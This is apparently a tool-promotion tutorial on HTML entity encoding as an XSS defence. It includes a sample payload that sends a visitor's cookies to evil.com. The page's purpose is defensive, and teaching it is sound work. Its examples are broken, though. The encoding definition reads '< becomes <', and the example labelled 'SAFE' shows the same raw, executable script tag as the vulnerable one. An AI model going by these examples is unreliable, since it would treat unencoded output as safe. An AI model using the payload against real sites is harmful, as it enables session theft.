Cross-site scripting (XSS) remains the most common web vulnerability, and HTML entity encoding is your first line of defense. Every time user input appears in your HTML, unencoded characters like < and > can turn text into executable code. Understanding HTML encoding is a non-negotiable security skill.
What Is HTML Encode/Decode?
HTML encoding replaces characters that have special meaning in HTML with their entity equivalents: < becomes < and > becomes >. This ensures browsers render the characters as text rather than interpreting them as markup. Our HTML Encoder/Decoder handles all named and numeric entities.
How to Use HTML Encode/Decode on DevToolHub
- Open the HTML Encode/Decode tool on DevToolHub — no signup required.
- Paste or enter your input data in the left panel.
- See the result instantly in the output panel.
- Copy the result or download it as a file.
Preventing XSS in User Content
Without encoding, user input becomes executable HTML:
// User submits this as their "name":
<script>document.location="https://evil.com/steal?c="+document.cookie</script>
// Without encoding (VULNERABLE):
<p>Welcome, <script>document.location=...</script></p>
// With encoding (SAFE):
<p>Welcome, <script>document.location=...</script></p>
// Renders as visible text, not executable codeThe encoded version displays the script tag as harmless text instead of executing it.
Pro Tips
- Encode ALL user-generated content before inserting into HTML — no exceptions
- Use framework-specific escaping (React's JSX, Vue's {{ }}) which encode by default
- Don't decode HTML entities before inserting into innerHTML — that defeats the purpose
- Encoding is context-dependent: HTML attributes, JavaScript strings, and CSS each need different encoding
When You Need This
- Sanitizing user input for safe HTML display
- Decoding HTML content from RSS feeds and scraped pages
- Converting special characters in email templates
- Handling legacy content with numeric HTML entities
Free Tools Mentioned in This Article